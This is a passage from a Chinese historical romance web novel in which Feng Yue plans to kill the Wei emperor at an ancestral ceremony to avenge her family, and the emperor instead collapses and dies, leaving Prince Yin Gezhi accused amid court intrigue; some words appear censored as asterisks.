“等等。”眼珠子转了一圈,风月笑眯眯地拉住他:“咱们皇帝陛下的道歉,那可是很难听到的,既然王爷相邀,那奴家也没有不去的道理。”
“你想去?”
“自然想。”撒娇似的摇了摇他的手臂,风月抛着媚眼道:“还请王爷一定给奴家准备个安全的地方,免得有人看奴家不顺眼,让奴家把小命给交代在了那儿。”
“不会。”深深地看她一眼,殷戈止沉声道:“我会尽我所能,护你周全。”
“那奴家便放心了。”点点头,风月道:“这就去准备。”
说罢,扭头就跑。
看着她的背影,殷戈止微微松了口气。肯去就是好事,总比在暗地里想着怎么行刺来得好。
一场秋雨一场凉,夏日一去百花黄。澧都入秋了,人们纷纷加着衣裳,感叹着这个秋天真是冷啊。
风月坐在屋檐下,捧着一杯热茶看着外头。
“四年了。”算了算日子,她低笑:“今日是关家满门的忌日。”
尹衍忠等人听着,心里都不由地一阵悲戚。灵殊蹦蹦跳跳地拿了披风出来给风月裹上,眨巴着眼问:“什么是忌日呀?”
“忌日,就是一年前某些人与世长辞的日子,你很记挂他们,所以每年的这一天,你都会想起来,给他们上香、烧纸,怀念他们。”眼神分外慈祥,风月将灵殊拉到自己旁边坐着,道:“还记得主子跟你说过的关鸢容么?每年主子都会给你说她的故事。”
“记得。”灵殊点头:“您说您与她一块儿长大的,还说她是个很好的人。”
“嗯,真的是个很好的人。”点点头,风月搂了灵殊的脑袋搁在自己肩上,轻轻拍着她道:“你要是见过她呀,一定会很喜欢她的,她很温柔,也很善良。”
“那她去哪儿了?”灵殊好奇地问:“咱们都到魏国了,也没有看见她呀。”
拍着她的手顿了顿,风月笑了笑,低头看着她没有回答,却是岔开话道:“等这边的事情忙完了,秋夫人就会带你去兴和村,那是你出生的村子。”
有些恍然地点头,灵殊垂了眼睛,低声道:“原来主子当初赎奴婢出去,是因为认识奴婢……连奴婢在哪儿出生都知道。”
“你家主子无所不能的。”笑着掐了掐她水灵灵的小脸蛋,风月道:“乖了,先去吃点心吧,我还有话要同其他人说。”
“好。”也没多问,灵殊站起来,蹦蹦跳跳地跑走了。
“都已经安排妥当了。”言清站在一旁,说的
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话挺轻松,脸上的神色却是万分凝重:“此举凶险万分,谁也不敢保证会出什么事情,你一定要小心。”
笑了笑,风月道:“放心吧,我一定不会失手的。”
她手筋都没了,一身武功尽废,却要去刺杀皇帝,谁能放心得下?秋夫人犹豫再三,还是开口道:“要不然换我们去吧,好歹有点功夫,不至于一失手就万劫不复。”
“你们与皇帝,没有死仇。”捏了捏手里的**,风月笑道:“只有我有,也只有我需要去杀他。你们何必呢?”
要是不能亲手手刃那狗皇帝,她活到现在的意义是什么?
众人唏嘘,皆不敢再劝,风月收了**,深吸一口气。
秋风微起,枯叶和泥土的味道和着湿润的风扑了人满脸,叫人心头压抑,却又觉得有些爽快。
院子外头响起脚步声,众人都收敛了神色,风月侧头,就见殷戈止穿着绣暗龙纹的银白袍子,翩翩而来。
“你准备好了?”走到她面前,他停了步子,低头盯着她问。
仰头一笑,风月伸手抓过旁边鲜红的裙子,递在他面前:“准备好了,看看,这一套是不是很适合我?”
扫一眼这向来为她所爱的红色,殷戈止微微颔首:“嗯,既然如此,明日祭祖,我让观止来接你,你在北宣门外等着。”
“好。”风月应了,笑得灿烂极了。
伸手想碰碰她这笑意,却中途一顿,殷戈止抬眼,轻轻地扫了扫四周碍事的人。
下一瞬,一众铁血的男儿和不让须眉的女子都消失得干干净净。风卷庭院,就剩下了他和面前这个人。
“紧张吗?”在她旁边坐下,殷戈止面无表情地问了一句。
风月点头:“一想到皇帝会道歉,奴家就紧张得手抖呢!您摸摸?”
嫌弃地看她一眼,殷戈止还是伸手,轻轻握着她冰冷发颤的手:“有我在,没事的。”
“您当真与皇帝陛下谈妥了?”风月忍不住又问一遍。
殷戈止点头:“他最近身体不太好,人近黄昏,总会比以前宽容些。”
“那就好,吴国那边也能交差了。”
“嗯,世冲已经先带了一部分人回去复命,怀祖还留在这儿,等着带魏国的国礼回去。”
“合约已经签了?”
“签了。”殷戈止道:“我说过不会让他们为难。”
虽然帮着他撒了点谎,但结果达到了就是好事。
“嗯。”抬头继续看天,风月喃喃道:“我也不想让你为难。”
微微挑眉,殷戈止侧头:“你什么时候也会关心我了?”
翻了个白眼,风月捏了捏他的手:“受王爷恩惠颇多,要是还不识好歹,岂不是过分了?”
反手将她的手扣得死紧,殷戈止勾了勾唇,语气依旧甚为严肃:“你能这样想,本王很开心。”
心里抽了抽,风月别开头,闷声道:“你开心就好。”
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第172章 难得深情
能开心一会儿是一会儿吧,这样一来,就算以后撕破了脸,他也能念她点好。
说起来自个儿还真是对不住这个人,睡也把人家睡了,骗也把人家骗了,到头来还想宰了人家的爹然后一**之,他丫的想报仇都没地方报,大概会气得鞭她的尸吧?风月失笑,任由他握着手,眯着眼睛想,人要是当真有下辈子就好了,下辈子她想和他无冤无仇,他要是个贵公子,她就当山贼把他抢回家。他要是个平头百姓,她就当贵家小姐把他纳进门!
“怎么了?”瞥见她脸上诡异的笑容,殷戈止皱了皱眉:“又在打什么坏主意?”
“没有。”歪着脑袋往他肩上一靠,风月长出一口气,笑道:“奴家是突然想问,观止说您三年来一直在找人,找的就是奴家么?”
提起这事,殷戈止冷哼一声,捏着她的手紧了紧,然后松手,将自己手上的玉扳指取下来,套在她的拇指上。
“三年前你说,想要我给你个东西当念想。”闷声开口,他道:“我当时没给。”
眨眨眼,风月笑了,捏着自个儿的鼻子就怪声怪气地道:“不知何时要与殿下辞别,可否请殿下赐个物件,以存念想?”
这声音万分熟悉,听得殷戈止喉头上下一滚,眼神陡然复杂起来,却还是配合着她,冷声冷气地道:“没什么东西好给。”
“这样啊……”怪气的声音陡然失落:“那就罢了吧。”
玉质上乘的扳指,洁白无瑕。取下来看,能在圈内看见精雕细刻的“沉璧”二字。
风月失笑,骤然松了鼻子,眼含揶揄地道:“原来冰冷不近人情的大皇子也有这么深情款款的时候?”
把自己的字刻在物件上赠人,可是魏国男儿惯用的示爱之法。面前这人是谁?殷沉璧殷大殿下耶,竟然也会做这种事儿?
脸上有点羞恼,殷戈止沉声道:“不想要就还我。”
“这哪儿能不要啊。”往自己手上一套,风月摩挲两下,好奇地问:“这当时怎么不给我?”
殷戈止别开头,冷着脸不说话了。
后面发生的事情是他不想提的,也不会是她想听的。先前没找到她的时候,他其实一直在生气,气这人的不辞而别,也气她绝情寡义。可当真找到的时候,他发现,她的不辞而别,就是间接被他导致的。
平昌之战还未打响之前,他尚在澧都,与她恩爱纠缠,还说让她等等他。当时他想的是,正妃之位在他手里,给了这人也未尝不可。
然而,圣旨来势汹汹,他赶赴平昌,山鬼谷一战大败,关家满门抄斩,她逃离魏国,一去吴国就是三年。
哪能怪她绝情呢?她当时可能是满腔欢喜在等他凯旋,然而等来的,却是皇帝高高举起的屠刀。
闭了闭眼,殷戈止转了话头:“与关家旧案有关的一些人,我都已经定了罪报上去了,你不必再操心他们。”
“多谢王爷。”风月颔首,想了想,道:“其实梦回楼里的姑娘,都是薄命之人,身怀怨怼,不少是忠良之后。王爷若是有心还魏国上下清明,不如也问问她们的冤屈。”
忠良之后?殷戈止皱眉看她:“比如呢?”
“比如被**冤死的林大学士之女,被赵廷尉陷害的于宗正之女。”风月抬眼微笑:“都在梦回楼。”
脸色有点难看,殷戈止道:“你让这些人落风尘为妓?”
这话说得有点刺耳,挖了挖耳朵,风月嗤笑:“为妓怎么了?妓子不是人?”
“在天下人嘴里,妓子从来不是什么好的。”殷戈止摇头:“以色事人之**者也!”
哼了一声,风月翘起二郎腿,吊儿郎当地道:“您记错了吧,妓子,分明是以色事**之人者也!没有贱男人的追捧,就不会有贱女人这般求生存呀。王爷,您都是以狎妓为风流的人,怎么又看不起妓子了?”
揉了揉眉心,殷戈止道:“我不是这个意思,但到底是忠良之后……”
“奴家也是忠良之后啊。”眨眨眼,风月媚笑:“不照样挂牌接客跳**么?”
“你闭嘴!”跟踩着尾巴似的,殷戈止恼羞成怒,一张脸线条紧绷,眼神也格外凌厉。
举起双手,风月跟哄孩子似的道:“好了好了,不说这个了。她们是自愿的,女儿家要生存本就不容易,梦回楼能让她们自己挑客人,也能让她们报仇,换做我是她们,我也会毫不犹豫地进去的。很可惜,在我之前没人弄这东西。”
咬了咬牙,殷戈止闭眼冷声道:“总有一天,魏国会有一个衙门,受天下**,哪怕已经定案,哪怕是圣意处死,只要有冤,那衙门就敢审。”
“怎么会有这种地方。”轻笑一声,风月摇头:“各个国家都一样,皇权至上,皇上说什么都是对的,说你有罪你就得死,等他觉得他自己错了的时候,人已经**,也没办法了,道个歉吧。”
心里一紧,殷戈止皱眉看了她一眼。
“您别紧张,奴家没有嘲讽当今圣上的意思。”伸手理了理他的衣襟,风月勾唇
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:“今日天气很凉爽,适合出去走走。”
半垂了眼,殷戈止问:“要去给关将军刻碑吗?”
**已翻,只等皇帝昭罪状告之天下了。
想了想,风月道:“还是等名正言顺之后吧,有机会的,奴家不至于那么短命,活不过明天。”
有她这句话,殷戈止就松了捏着的心。
明日应该不会出事。
魏国皇室的祭祖大典在秋初举行,皇室中人,要先在皇宫宗庙之内行礼,念祭词,一串儿流程走完,然后便出宫前往龙台山,在澧都的背后,靠得很近。
这天,早上起来秋日高照,可祭祖号角一吹,乌云倒是多了起来。
殷戈止起了个大早,穿戴好礼服之后,先带观止出门,让他在北宣门门口等风月,然后自己带了个随侍入宫。
魏文帝依旧在咳嗽,不过脸色看起来比先前好了不少,一看见他,便慈祥地招手:“沉璧,过来。”
依言过去,殷戈止微微侧头,就见皇后和太子还站在下头,脸上没什么表情,也没看他。
“今日就是祭祖了。”魏文帝叹息道:“朕也写好了昭罪状,你先看看。”
挑了挑眉,殷戈止双手接了那黄锦裱着的纸,展开一看。
洋洋洒洒千余字,将关家冤屈说得清清楚楚,并且皇帝忏悔之词极为诚恳,比他想象的还更好。
有点意外,殷戈止拱手:“父皇英明。”
魏文帝笑了,抚掌道:“朕老了,就盼着魏国事事顺风顺水,国泰民安……对了,与吴国的合约写了么?”
“写了,一份在这儿,一份已经传回了吴国。”伸手拿出合约递上去,殷戈止道:“儿臣附带了一封信,将我魏国良将悉数推举于吴国,此回联盟,定然能为我魏国带来益处。”
接了那合约来看,魏文帝甚为满意,笑道:“还是你办事妥帖!等会儿祭祖,你跟在朕身侧,莫要站远了。”
看了太子一眼,殷戈止摇头:“尊卑有序,儿臣会站在奉常大人安排的地方。”
“你就是太懂事了。”魏文帝呵呵一笑,起身就往外走,转过头的时候,方才还慈祥的脸,阴鸷了一瞬。
殷戈止没瞧见,旁边的太子和皇后也没注意,只按礼数跟在后头,跨过门槛,起了仪驾,一起往宗庙而去。
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第173章 祭祖大典的意外
外头文武百官都在等着,恭敬地拱手垂目,等皇室的仪仗过去了,便跟在后头走。
殷戈止不是没心眼,就算魏文帝态度万分诚恳了,他也还是看了陈卫尉和郎中令一眼。卫尉掌握宫门护卫,郎中令掌握宫内禁卫,两人皆与他关系不错,若是皇帝有异动,他们都会知道。
然而,这两个人神色如常,与他对视,也没有什么特殊的反应。
放了心,殷戈止这才信了皇帝是真心悔悟。
宗庙祭祖,魏文帝很是虔诚,带着皇室众人行礼,气氛庄严肃穆。听奉常念祭词,众人表情凝重、声音悲切,叩首躬身分外到位,一串儿礼仪行完,顺顺利利的,什么事也没发生。
魏文帝扶着太子的手起身,下令道:“起驾龙台山,叩问先祖英灵。”
“起驾——”大太监尖着嗓子喊了一声。
殷戈止侧头,远远看了一眼北面。
观止应该已经接着了风月,等会与他安排的人接上头,便可一起进入龙台山。
收回目光,他跟在太子身后,规规矩矩地往外走。
后头一排排的禁卫开始换岗了,在宗庙门口护着皇室众人周全的禁卫依旧留在宗庙,方才在四周守着的禁卫,此时井然有序地补上前,护送皇帝登上龙车。
风月微微抬头,便看见旁边有禁卫给了她一个眼神。她会意,捏紧了手里的长戟,跟着四周的禁卫,整齐地迈着步子出宫。而另一边,有人穿着红艳艳的裙子,轻纱笼面,坐上了观止的马车。
龙台山是皇家禁地,不知皇陵是否在此,但除了皇室祭祖,其余时候是没人能上去的。这山上树木郁郁葱葱,一看就是个福地。
山腰上修了宏伟壮观的庙宇,皇帝到此便下车,由太子扶着,往庙宇里头走。
这里专门用来给皇室祭祖的,台子也修得很用心,三面天然岩石环绕,护祭祀之人周全。两级台阶上去,一根擎天柱上挂了魏国战旗,旗下设案,皇帝就在案后站立,禁卫密布三面,贴身保护。
阵仗拉开,由于先前一切都很顺利,众人的心情也算轻松,就算知道皇帝要念昭罪状,那也没什么大不了的,念完散了回家吃饭。
然而,就在皇帝就位,让人去传昭罪状之时,孝亲王突然开口:“父皇。”
这声音在寂静的山林里很是吓人,魏文帝一抖,微微皱眉:“何事?”
“还有一人未到,请父皇恩准她上前。”拱手朝他行礼,殷戈止声音清冷,响彻四方:“既然是昭罪,关家遗孤理应在场。”
此话一出,满场哗然!
关家遗孤,可不就是前段时间一直在抓捕的关清越么!这孝亲王好大的胆子,就算关家案子翻了,可那在逃的关清越,岂是能堂而皇之地带到皇帝面前来的?!
魏文帝也吓了一跳,脸色很是难看,盯着殷戈止的眼神骤然冰冷,半点慈祥也没有了:“好好的祭祖大典,你非要让父皇不安生?”
“未提前禀明父皇,只是顾虑她的周全。”殷戈止平静地道:“还望父皇恕罪。”
恕罪?哼笑一声,完全没了之前宫里的顾虑,魏文帝似嘲非嘲地道:“朕封的孝亲王,可真是孝顺啊,众位可听见了?”
百官躬身,不明所以。殷戈止微微皱眉,抬头看了他一眼。
神色一顿,魏文帝想到点什么,表情又缓和了下来,道:“既然人已经来了,那就带上来让朕看看吧。”
心里有点沉,殷戈止缓缓转身,看了旁边的随从一眼。
随从会意,躬身退下,没一会儿,观止便带着个红衣女子踏上山道,款款而来。
魏文帝嘴角带嘲,睨着远处那抹红影,轻笑道:“关家女儿生得不错,怨不得有人念念不忘,还买通狱卒,放她逃出生天。”
后头的南平公主没听懂这话,只很是好奇地伸长脖子去看。旁边的封明却是脸色铁青,手握成拳。
百官皆侧目,方石铺就的山道上头,那女子漫步缓行,看样子还要一会儿才能上得来。
“沉璧。”魏文帝盯了一会儿就觉得没兴趣了,挥手让太子下去,只留了殷戈止一个人在身侧,低声道:“你一向聪明会算计,今日便来算算,这女子可会行刺于朕?”
身子僵了僵,殷戈止垂眸:“父皇何出此言?”
“谁都知道,关家的嫡女,性子张扬,潇洒不羁,连当年的混世魔王封明都没能治住她。”魏文帝轻笑:“她满门为朕所灭,今日来此,当真只是想听朕忏悔吗?”
心里沉得更厉害,殷戈止捏紧了手:“有儿臣在,她行刺不了父皇。”
“有你在,父皇才更不放心那!”哈哈一笑,魏文帝摇头看着他:“沉璧,你最近的所作所为,已经严重威胁到了一个帝王的权力和地位。这样的情况之下,父皇哪里还敢信你?”
瞳孔微缩,殷戈止下意识地想后退,看着面前自家父皇这张脸,却是生生止住了步子。
于是下一瞬,他的后腰上便被抵了一把刀子。
“就算是亲父子,父皇也得防着你。”眼里闪着精光,魏文帝面上带笑,下头的人瞧着,压根不知道发生了什么。
微微侧头看了一眼身后,是宫里的禁卫,殷戈止沉默。
“想不通是不是?”慈祥地笑了笑,魏文帝站在他身侧,丝毫不畏惧地凑在他耳畔低声道:“你以为陈卫尉是你的人,禁军便都听你的?这一队禁军可是朕培养出来的心腹,你若妄动,那带毒的刀子立马会刺穿你的身体。”
眼里神色汹涌,殷戈止有些不敢置信:“父皇何以至此?”
“何以至此?”轻笑一声,魏文帝摇头:“傻孩子,你威胁到朕了,朕起码还要坐十几年甚至几十年的皇位呢,有你这样的皇子,逼着朕翻案,逼着朕道歉,朕难道还要容你下去吗?”
谁打皇帝的脸,皇帝就要谁的命。
心口堵得厉害,无数情绪冲上脑袋,殷戈止红了眼,千言万语说不出,倒是低笑了一声:“所以,父皇是骗儿臣的,您压根就没想认错。”
“朕怎么会错呢?”嗤笑一声,魏文帝道:“关苍海党羽众多,朝中拥他之人更胜于朕!这样的人,手握兵权,万一哪天起了歹心,朕的皇位,怕是
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立刻就要换人来坐了。你说,朕杀了他,有什么错?”
党羽?殷戈止垂眸:“得道之人多助,失道之人寡助。拥护关将军的人未必能称之为党羽。”
脸上的笑意缓缓消失,魏文帝的表情略微狰狞:“你是在骂朕失道?殷沉璧,朕登基二十多年了,从来没有人敢像你这样放肆对朕!”
“所以这二十多年,陛下未创盛世。”
不称“父皇”,殷戈止的脸恢复了死一般的平静:“魏国之难,由您登基而始。”
勃然大怒,魏文帝差点一巴掌打过去!岂有此理,岂有此理!这孩子怎么敢这么说,怎么敢!
然而,手刚抬起来,他脑子一闪,又放了下去,脸上重新挂了笑:“想激怒朕,让朕先动手,好让他们觉得是朕昏庸?你不会得逞的!”
说罢,转头看了一眼那快要走到跟前的红衣女子,微笑道:“朕会想法子让你先动手的,你这忤逆的罪名,是该定下了。”
与吴国合约已成,这里不是陈卫尉的管辖范围,没有殷戈止的势力,他要是**,加个“意外摔落山崖”的故事,吴国那边也不会马上翻脸,倒是会启用殷沉璧推荐的其他人。
他的魏国活了,而殷沉璧,可以**。
眼里划过狠戾的光,魏文帝满脸笑意。殷戈止沉默,眼珠微微动着,有些担忧地转头看向风月。
人走得近了,戴着面纱看不清脸,那一双水灵灵的眼睛倒是映入了他的眼帘。
待看清这人的眉目,殷戈止一愣。
这哪里是关清越,分明是灵殊!
观止满头冷汗地站在灵殊身边,灵殊眼神镇定,没了原来的天真无辜,显得分外成熟冷静,上前便屈膝行礼:“民女关清越,拜见陛下!”
这是怎么回事?!
心口有那么一瞬间都没跳动了,殷戈止白了嘴唇,很是慌张地看了观止一眼。
观止打量了一下他的模样,脸色沉了沉,微微摇头。
不用担心我们,您先想法子脱身啊!
他怎么脱身?抿了抿唇,殷戈止闭眼,要摆脱背后的毒**,他必定要用大招,动作大了惊动下头百官,魏文帝直接喊一声抓刺客,把他当刺客抓起来,他更是辩白的机会都没有就会被定罪。
姜还是老的辣啊,魏文帝是赌他不敢对他下手,所以这么大胆地站在他身侧。他也的确不能动手擒王,不然就真成忤逆了。
这怎么办?来的是灵殊,那关清越呢?
魏文帝心情很好,扫一眼面前这人,道:“说是拜见,怎么不行大礼呢?倒只是屈膝。”
灵殊抬头,笑着看了他背后一眼。
心里一凉,魏文帝突然觉得有哪里不对,连忙想转头!
然而,已经来不及了,他背后站着的禁卫突然也朝他后腰顶了一把**,接着就听见一个姑娘的声音,低低地响起:“因为你不配啊,皇帝陛下。”
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第174章 老天爷的玩笑
一阵刺骨的杀气从背后卷上来,魏文帝瞳孔一缩,下意识地就想喊护驾。
“别激动啊,陛下。”抓着他的腰带,将**抵得更紧了些,风月低笑:“您这一叫,奴家可就要大喊‘恭迎太子殿下登基’,然后将这淬毒的**送进您身体里了。您猜猜,这样一来,您的江山会落在谁手里啊?”
倒吸一口凉气,魏文帝僵硬地扭着脖子转过头,看向旁边的殷戈止。
殷戈止黑了脸,没他想象中的高兴,倒是嘴唇不动,磨着牙小声斥责:“你不是说,要留命给关苍海刻碑吗!”
她又骗他!
今日这祭祖大典,本以为他安排她来就是唯一的意外了,毕竟他的眼线密布宫中和禁卫之中,没有人察觉有任何不妥,她怎么能……
等等。深吸一口气,殷戈止闭了闭眼,捏紧了拳头。
他又忘记了一个人,干将!
在这种大事面前,干将会帮谁?不,他谁都不会帮,所以知道任何事情,都会瞒而不报,两边都不站!
他该怎么办?他能怎么办!今日魏文帝要是死在这里,关清越也绝对无法活着离开!
秋风呼啸,天上乌云密布,四周都阴暗了下来。台子上挤满了护卫,三面都被岩石挡着,皇帝和皇子的背后有什么情况,只要禁卫不吭声,下头低着头的人便不会发现有问题!
很不幸,这一批所谓皇帝亲自培养的禁卫,都是言清带着风月去见过的人,眼下出事,众人明哲保身,都没有妄动。
下头右首的皇后和太子面无表情,只觉得魏文帝对殷戈止尤为宠爱,甚至挥手让太子下台,也要让那王爷站在他身侧。
好,好得很呐!
“父皇不是要念昭罪状么?”听着突然没动静了,殷沉玦站出来,拱手道:“时辰不早了,请父皇示下!”
魏文帝扭头,拼命地想给他使眼色,奈何殷沉玦压根没抬头,也就看不见他的表情。
“昭……昭罪状。”脸色突然有点发白,皇帝捂了捂心口,喘着气道:“朕……朕念。”
殷戈止皱眉,稍微往皇帝的方向移了一步,哪知,后头顶着他的**压根没松。
微微一愣,接着便明白过来后头究竟是谁的人,殷戈止怒极反笑,凌厉的眼神如箭一般直射风月,低声斥道:“松开!”
“不可能。”平静地吐出这三个字,风月咧嘴,顶着满脸的胡须朝他笑:“就算是你的父皇,也不可能。辛苦殿下铺了那么久的路,然而我关家的仇,只有用这样的方式才能报。”
瞳孔里掀起惊涛骇浪,血丝从眼角一点点蔓延出来,渐渐的叫他双眼通红。
“风月,别这样。”
沙哑的声音,在皇帝吞吞吐吐的念罪声之下,听得风月心尖缩成一团。
她也不想这样,谁想呢?可凭什么,凭什么要让这罪孽深重死不悔改的老皇帝活下去?!凭什么他都能活,关苍海要死得那么惨?!她积累了四年的愤怒和仇恨,哪是那么容易能放下的?!
这么多年的梦啊,梦里都是杀伐和鲜血!唯一一次美梦,梦见的是关家军骑着马唱着歌,走在凯旋的路上,朝着朝阳,好像回去就会烹羊宰牛,庆功贺胜!
可醒来呢?这样的梦醒来更难受啊!关苍海的脸、关清穆的脸、关家那么多笑着的脸,都再也看不见摸不着了!她老爹还没看见她出嫁,还没喝上最后一口留下来的女儿红,还没看见她成熟懂事的这一天,就蒙冤而死,曝尸荒野!
他的爹是人,她的爹就不是人吗?!
红了双眼,风月觉得喉咙疼得厉害,扭头不再看殷戈止,只听魏文帝念昭罪状。
**抵在腰后,魏文帝声音颤抖,却是不敢停,一字一句地念:“……忠勇大将军关苍海,一生尽忠,却被小人所害,死于非命……朕偏听偏信,有违祖训,无颜见列祖列宗……着正关家之名,追谥关苍海‘忠勇仁义威武大将军’,修陵墓,福荫子孙……”
越念到后头,语气越微弱,众臣都觉得奇怪,离得最近的皇后和太子却跟没事人一样,压根没抬头。
殷戈止回神,突然觉得哪里不对,反手就捏了身后那人的手腕,翻手便夺他**,皱眉问:“带外鞘了么?”
背后的禁卫一愣,压根没反应过来呢,手里的**就没了,吓得慌忙就回:“带了,这上头有毒……”
“别废话了,拿来。”
风月听得正不耐烦呢,念太慢了,冷不防却见殷戈止有了动作,忍不住浑身戒备起来,暗骂一声。
站殷戈止背后都敢走神,脑子怎么长的?!
说什么都没用了,殷戈止已经将那**无声无息地放进了袖口,看了魏文帝一眼,便走到他身边,大声问:“父皇脸色怎么这么难看?”
这话与其是说在问魏文帝,不如说是警告她。风月皮子一紧,恼恨地瞪他一眼,手上的**没松,立马就想往魏文帝的身子里送!
然而,这人都在这么近的位置了,她注定不会得手。**被殷戈止反手缴了,连她袖子里的刀鞘都没放过,只一瞬间,东西统统到了他的袖袋。
他分明一只手还扶着皇帝,眼睛都没看她!动作却行云流水一气呵成,压根没给她反应的机会!
看来刚才不是他背后的人走神,是她低估了这个人!
一股焦躁之气直冲脑门,风月怒极!哪怕是用手里的长戟惊动下头的人,她也一定不能让这狗皇帝活着出龙台山!殷戈止若执意要护,哪怕同归于尽,她也必报这灭门之仇!
电光火石,一切变化都发生在这一瞬,她与殷戈止还在对峙,前头摇摇晃晃的魏文帝,突然就倒了下去!
殷戈止分神在风月那边,堤防着她的动作,一时没扶稳,就听得“哐咚”一声,龙冠落地,龙袍裹着人的身子,狠狠地砸在了石板铺好的台子上!
“父皇!”殷戈止大骇,躬身下去扶他,却见他印堂发黑,嘴唇发紫,整个脸惨白无比!
倒吸一口凉气,殷戈止怔愣地抬头,看了风月一眼。
风月皱眉,眼里也满是诧异。
不是她动的手!
“皇上!”
“陛下!”
下头的文武大臣被这意外惊呆了,石
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鸿唯冲在第一个,推着发呆的太子就上台去看。
殷戈止被他们推到了一边,皇后也哭着上来嚎:“陛下,陛下您怎么了呀!”
哭着哭着,扭头就盯着殷戈止恨声问:“怎么回事?陛下好端端的,怎么会成这样了!”
怎么回事,他也想问怎么回事啊,风月的**在他手里,就算有毒,也绝对没让魏文帝沾着,为何会成了这样?
“先传太医。”喉结几动,殷戈止回过神来,冷静地吩咐了一声,然而他的声音沙哑,被一阵阵哀嚎淹没,没人听见。
“他还没死呢!先传太医!”倏地就怒了,殷戈止一脚踢开挡事的太监,急喝:“随行的太医呢!”
石皇后闷头就哭,悲痛欲绝,却压根没理会他的话。
“太医呢?”南平挤不上去,也跟着喊:“不是安排了随行的太医么!”
封明扭头就去找,然而找了一圈儿发现,此回来龙台山,随行的人里压根就没有太医。
“这是要**吗?”皱了眉,封明觉得不对劲:“随行的人员不是由石丞相一一清查过么?怎么可能没有太医?”
然而,这话音未落,就听得石鸿唯一声长哭:“陛下——驾崩了——”
一瞬间所有人都跪了下去,南平不敢置信地睁大眼,殷戈止脸色分外难看地盯着殷沉玦。
殷沉玦离他最近,整个身子微微发抖,张口大哭着,看起来像是悲愤不已。
然而,这事实在太过突然,一时之间,他压根不觉得悲伤,倒是跟着跪下来,声音平静地问太子:“为什么不传太医?为什么我要出去,你非挡着我?”
缩了缩脖子,殷沉玦很是畏惧地看他一眼,没吭声。
再抬头看一眼前头哭得撕心裂肺的皇后,殷戈止想了想,垂了眸子。
魏文帝当真是驾崩了,躺在祭台冰冷的地面上,脸色发青,身体渐渐冰冷。
风月睁大了眼,一瞬间只觉得眼前发白,无数情绪在胸口冲撞,逼得她差点吐血!
旁边有人拉了她一把,让她跪趴在了地上。
怔愣地盯着那尸体,风月轻轻摇头,很是不明白。
他**了呢?他怎么能就这么**呢!这一定是梦,四年了,她每一天都在想手刃仇人,今日就差一步,仇人却自己**?一定是老天爷在跟她开玩笑!
“轰隆——”雷声突然大作,豆大的雨水顷刻间便浇淋下来。
百官哭号,皇后悲泣,整个龙台山顿时笼罩在浓浓的哀伤之中。
雨水湿了人的衣裳,本就厚重的兵甲更加沉了,几乎要将风月压死在地上。她的眼睛眨也没眨,看着魏文帝那张脸,恍惚间觉得身子很轻,轻飘飘的,像是要飞上天了一样。
又一声炸雷在头上响起,殷戈止侧头,就见那熟悉的影子在雨水里缓缓倒了下去。
兵甲碰地的声音很是沉重,溅起些水花,落在了魏文帝的龙袍上。
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第175章 螳螂捕蝉黄雀在后
昏迷了好啊,昏迷了就不会看见接下来的杀戮了。
怔愣片刻,殷戈止心里一松,伸手便将那穿着禁卫衣裳的人抱了起来,递给了观止和灵殊。
灵殊眉头紧皱,转身之间,飞快地说了一句:“王爷的令已经传下去了。”
说罢,红衣一转,跟观止一起,趁乱想带风月走。
“站住!”雨幕之中,石丞相倏地站了起来,指着他们便道:“不能放走了杀害陛下的凶手!”
四下之人骇然,刚刚还哭得很伤心的皇后和太子也纷纷起身,仪驾后头跟着的护卫,瞬间将这寺庙团团围住。
雨水顺着脸颊往下流,殷戈止轻轻抬手,抹了把脸,脱了绣着三爪龙纹的银袍,轻轻将魏文帝的脸盖住,而后抬头,看着石鸿唯问:“丞相说,谁是杀害父皇的凶手?”
劈手指向红衣的“关清越”,石鸿唯怒道:“只有关家余孽有杀害陛下的动机!在场都是皇亲国戚,皇上最器重信任之人!只这女子,是被王爷强行带来的!现在皇上被谋害,王爷必须给咱们个交代!”
“对,给百官交代,给天下人交代!”太子**的人顿时纷纷响应。
扫了这些人一眼,殷戈止摇了摇头:“关清越离父皇五步之远,绝无杀害父皇的可能。”
“五步怎么了?”皇后怒道:“五步之外,难道就不能用暗器吗?”
“能。”殷戈止冷笑:“可要在我面前用暗器,还让我丝毫察觉不到,是不可能的。”
众人都是一愣,皇后皱眉便叱:“这还用说么?人是你带来的,定然是受你指使,要谋害陛下!”
雷声远了,殷戈止的动作不再僵硬,眼神也瞬间凌厉起来:“本王指使?敢问皇后娘娘,本王为何要杀父皇?莫说本王不会做有违伦常之事,就算是本王失了理智要夺位,那岂不是该连太子一起杀?!否则名不正言不顺,这皇位也不会落在本王身上!”
皇后哑然,目光偏向地上,左右动了动。
见皇后没话说了,石鸿唯便皱眉道:“天下谁人不知殷沉璧足智多谋?既然敢谋害圣上,定然是将后头的事情都算计好了的!要是老夫没想错,接下来王爷怕就是要说皇上是被太子所害,太子想篡位!”
果然是学问有大成的石丞相啊,瞧这话说得,瞬间就将殷戈止的后路堵死,叫他想指认太子都不成。
殷戈止脸色有些难看,垂眸微微思忖。
这样的局势,对他而言很不利,毕竟刚刚离魏文帝最近的,恰好是他与“关清越”。眼下皇后、丞相皆是太子**,针锋相对,他得找个突破口才行,不能贸然开口。
见他不吭声了,石鸿唯大喜,哼了一声抹了把雨水就想再说!
却不料,旁边突然跳了个人出来。
“石丞相既然这么说了,那我就当真要问了!”向来不管不顾的封明站了起来,开口便大声道:“敢问太子殿下,是否因为大皇子归国封亲王、得金印、觉得自己东宫之位岌岌可危,便想谋害圣上,以求趁着太子之位还在之时,早些登基?!”
殷沉玦闻言色变,垂头不敢吭声。
皇后大怒:“封明你大胆!没有证据,怎敢如此揣测太子!”
“没有证据就不能揣测吗?”封明笑了:“那敢问石丞相手里的证据是什么?能如此揣测手握金印的孝亲王!”
石鸿唯一愣,眼神沉了沉:“封大将军真不愧是当年帮着关清越**之人,瞧这话,字字句句都是偏帮乱臣贼子的!”
“铮”地一声,有长剑破雨划来,带着清冽的水气,停在石鸿唯的脖颈间。
石鸿唯一愣,讶然回头,就见殷戈止面无表情地捏着剑柄,沉声道:“父皇驾崩之前已经将昭罪状念完,说关家无罪。现在父皇尸骨未寒,丞相若是再敢在父皇面前唤被**之人为‘乱臣贼子’,就莫怪本王送您下去陪着父皇!”
带着内力的声音,穿透雨幕,响彻半个龙台山,震得下头跪着的大臣们心里一紧。
石鸿唯微微皱眉,僵硬着身子道:“王爷若是想杀老臣,直接动手便是,何苦找这么冠冕堂皇的借口?”
“冠冕堂皇的借口?”殷戈止转眼,问了下头一句:“有谁熟读大魏律法?”
